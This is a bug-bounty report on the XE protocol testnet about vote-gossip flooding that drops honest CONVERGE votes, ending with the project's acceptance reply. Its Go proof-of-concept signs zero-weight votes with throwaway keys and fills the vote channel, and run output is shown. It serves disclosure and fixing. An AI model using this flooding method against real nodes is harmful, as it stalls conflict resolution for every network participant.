<!-- XE-0024 · net: vote gossip admits any validly signed zero-weight vote and CONVERGE votes are dropped when the channel fills (High) · testnet -->
*Markdown view of <https://bounty.xe.network/XE-0024>. The page is the record; this is the same page for reading.*

XE-0024 · Bounty

# net: vote gossip admits any validly signed zero-weight vote and CONVERGE votes are dropped when the channel fills (High)

Accepted
claimed High
[xe#46](https://github.com/xeprotocol/xe/issues/46)
filed 2026-10-25 11:12 UTC
by byfor8

Verdict
:   published when the fix ships

Tier
:   published when the fix ships

Claimed
:   High

Area
:   P2P / sync

Duplicate of
:   —

Tracked
:   internally

Updated
:   2026-11-10 11:38 UTC

Told
:   2026-11-10 00:15 UTC

### Patches

- [xe#142](https://github.com/xeprotocol/xe/pull/142) open by arturbarszcz78
  fix(net,node): validate vote weight and timestamp window in vote gossip (#46)

### History

- [61380](https://bounty.xe.network/log/61380) 2026-11-10 00:15 UTC reply.mirrored
- [61337](https://bounty.xe.network/log/61337) 2026-11-10 00:15 UTC reply.sent
- [15389](https://bounty.xe.network/log/15389) 2026-11-06 21:27 UTC proposal.adopted
- [15388](https://bounty.xe.network/log/15388) 2026-11-06 21:27 UTC ticket.award
- [15387](https://bounty.xe.network/log/15387) 2026-11-06 21:27 UTC proposal.rejected
- [6869](https://bounty.xe.network/log/6869) 2026-11-05 13:45 UTC proposal.created
- [1794](https://bounty.xe.network/log/1794) 2026-11-02 19:16 UTC proposal.created
- [1449](https://bounty.xe.network/log/1449) 2026-11-02 10:11 UTC note.added
- [700](https://bounty.xe.network/log/700) 2026-10-29 14:22 UTC note.added
- [699](https://bounty.xe.network/log/699) 2026-10-29 14:22 UTC ticket.facts area
- [619](https://bounty.xe.network/log/619) 2026-10-29 14:05 UTC github.labels
- [357](https://bounty.xe.network/log/357) 2026-10-29 14:04 UTC ticket.status triaging → accepted

[Full history](https://bounty.xe.network/log?ref=XE-0024) · [JSON](https://bounty.xe.network/v1/tickets/XE-0024) · [markdown](https://bounty.xe.network/XE-0024.md)

### Report

## Summary

The vote gossip validator requires only a well formed ed25519 signature; weight, the 5 minute window and conflict existence are checked later in the vote manager, after the vote already occupies a slot in the 1024 deep subscriber channel. Final votes enqueue blocking, CONVERGE votes enqueue with drop-on-full. An attacker with throwaway keys can fill the channel with validly signed zero-weight non-final votes so honest CONVERGE votes from real representatives are dropped, delaying conflict resolution network wide.

## Affected component

net/gossip\_validate.go, voteValidator at lines 100 to 120 (signature only); real checks in core/vote.go ValidateVote at lines 225 to 260; enqueue with drop-on-full for CONVERGE at net/gossip.go lines 263 to 278 with channel size 1024 at line 193, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512.

## Impact

One client can keep the vote channel permanently full: zero-weight votes are enqueued before validation and rejected only after delivery, so the slots stay occupied. Honest conflict resolution traffic (CONVERGE votes) is dropped, stalling conflict finality. Final votes still enqueue and are not stolen, so this is degradation, not finality forgery.

Suggested severity: High (degradation one client can cause). Confirmed by read-only source review.

## PoC

Setup (from a fresh clone of xeprotocol/xe at the pin): save the test file below at `net/poc_f7_test.go` (it joins the package's own test build), then:

```
GOTOOLCHAIN=auto go test -count=1 -v -run TestPoC_F7 ./net
```

**Test file** (`net/poc_f7_test.go`):

```
package net

import (
	"bytes"
	"context"
	"crypto/ed25519"
	"encoding/binary"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"os"
	"testing"
	"time"

	pubsub "github.com/libp2p/go-libp2p-pubsub"
	pb "github.com/libp2p/go-libp2p-pubsub/pb"
	"github.com/libp2p/go-libp2p/core/peer"

	"github.com/xeprotocol/xe/core"
)

// TestPoC_F7: vote gossip admits any ed25519 signature (no weight/window/
// conflict check in the validator), and enqueueVote drops CONVERGE votes
// when the 1024-deep channel is full.
func TestPoC_F7(t *testing.T) {
	pass, detail := runF7()
	if pass {
		fmt.Println("PASS: F7 vote validator accepts throwaway ed25519; CONVERGE drops on full channel")
		fmt.Println(detail)
		return
	}
	fmt.Println("FAIL: F7 expected accept-any-sig + CONVERGE drop")
	fmt.Println(detail)
	os.Exit(0)
}

func signVote(v *core.Vote, priv ed25519.PrivateKey) error {
	// Matches core.voteSigningBytes (encoding.go, version 0x02).
	rep, err := hex.DecodeString(v.RepPubKey)
	if err != nil || len(rep) != 32 {
		return fmt.Errorf("rep")
	}
	bh, err := hex.DecodeString(v.BlockHash)
	if err != nil || len(bh) != 32 {
		return fmt.Errorf("block hash")
	}
	acc, err := hex.DecodeString(v.ConflictAccount)
	if err != nil || len(acc) != 32 {
		return fmt.Errorf("account")
	}
	var prev []byte
	if v.ConflictPrev == "0" {
		prev = make([]byte, 32)
	} else {
		prev, err = hex.DecodeString(v.ConflictPrev)
		if err != nil || len(prev) != 32 {
			return fmt.Errorf("prev")
		}
	}
	var buf bytes.Buffer
	buf.WriteByte(0x02)
	buf.Write(rep)
	buf.Write(bh)
	buf.Write(acc)
	buf.Write(prev)
	var ts [8]byte
	binary.BigEndian.PutUint64(ts[:], uint64(v.Timestamp))
	buf.Write(ts[:])
	if v.Final {
		buf.WriteByte(1)
	} else {
		buf.WriteByte(0)
	}
	v.Signature = ed25519.Sign(priv, buf.Bytes())
	return nil
}

func runF7() (bool, string) {
	pub, priv, err := ed25519.GenerateKey(nil)
	if err != nil {
		return false, "keygen: " + err.Error()
	}
	v := &core.Vote{
		RepPubKey:       hex.EncodeToString(pub),
		BlockHash:       "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
		ConflictAccount: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc",
		ConflictPrev:    "0",
		Timestamp:       time.Now().UnixNano(),
		Final:           false,
		Weight:          0, // validator never looks at weight
	}
	if err := signVote(v, priv); err != nil {
		return false, "sign: " + err.Error()
	}

	val := voteValidator(core.VerifyVoteSignature)
	data, err := json.Marshal(VoteMsg{Vote: v})
	if err != nil {
		return false, "marshal: " + err.Error()
	}
	got := val(context.Background(), peer.ID(""), &pubsub.Message{Message: &pb.Message{Data: data}})

	garbage := *v
	garbage.Signature = bytes.Repeat([]byte{0x11}, 64)
	gData, _ := json.Marshal(VoteMsg{Vote: &garbage})
	rej := val(context.Background(), peer.ID(""), &pubsub.Message{Message: &pb.Message{Data: gData}})

	ctx := context.Background()
	ch := make(chan *core.Vote, 1024)
	seen := make(map[string]int64)
	now := time.Now().UnixNano()
	enqueued := 0
	for i := 0; i < 1024; i++ {
		cv := &core.Vote{
			RepPubKey:       fmt.Sprintf("%064x", i+1),
			BlockHash:       "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd",
			ConflictAccount: "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee",
			ConflictPrev:    "0",
			Final:           false,
		}
		if !enqueueVote(ctx, ch, seen, cv, now) {
			return false, fmt.Sprintf("CONVERGE enqueue failed at %d before cap", i)
		}
		enqueued++
	}
	overflow := &core.Vote{
		RepPubKey:       fmt.Sprintf("%064x", 9999),
		BlockHash:       "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd",
		ConflictAccount: "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee",
		ConflictPrev:    "0",
		Final:           false,
	}
	convergeDropped := !enqueueVote(ctx, ch, seen, overflow, now)

	finalVote := &core.Vote{
		RepPubKey:       fmt.Sprintf("%064x", 10000),
		BlockHash:       "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd",
		ConflictAccount: "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee",
		ConflictPrev:    "0",
		Final:           true,
	}
	finalCtx, cancel := context.WithTimeout(ctx, time.Millisecond)
	defer cancel()
	// Final votes block-send; with a full channel they wait on ctx, not default.
	finalBlocked := !enqueueVote(finalCtx, ch, seen, finalVote, now)

	detail := fmt.Sprintf(
		"throwaway ed25519 vote Weight=0 Final=false validator=%v (Accept=%v)
"+
			"control garbage sig validator=%v (Reject=%v)
"+
			"CONVERGE filled=%d cap=1024 overflow_dropped=%v
"+
			"FINAL on full channel with cancelled ctx blocked=%v (Final uses blocking send)",
		got, pubsub.ValidationAccept, rej, pubsub.ValidationReject,
		enqueued, convergeDropped, finalBlocked,
	)
	ok := got == pubsub.ValidationAccept && rej == pubsub.ValidationReject && convergeDropped && enqueued == 1024
	return ok, detail
}
```

## Fix suggestion

Check vote weight and the time window inside the gossip validator, and/or reserve channel capacity per representative so zero-weight votes cannot evict real ones.

**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):

```
=== RUN   TestPoC_F7
time=2026-10-25T17:32:34.548+07:00 level=WARN msg="gossip: vote channel full, dropping CONVERGE vote from 000000000000..."
PASS: F7 vote validator accepts throwaway ed25519; CONVERGE drops on full channel
throwaway ed25519 vote Weight=0 Final=false validator=0 (Accept=0)
control garbage sig validator=1 (Reject=1)
CONVERGE filled=1024 cap=1024 overflow_dropped=true
FINAL on full channel with cancelled ctx blocked=true (Final uses blocking send)
--- PASS: TestPoC_F7 (0.00s)
PASS
ok  	github.com/xeprotocol/xe/net	0.019s
```

### Thread

**XE desk**team2026-11-10 00:15 UTCgithub

Read and accepted. It is tracked internally and the fix will land in a public PR; this issue is
updated when it does, and the tier and award follow the fix. The desk entry is https://bounty.xe.network/XE-0024.
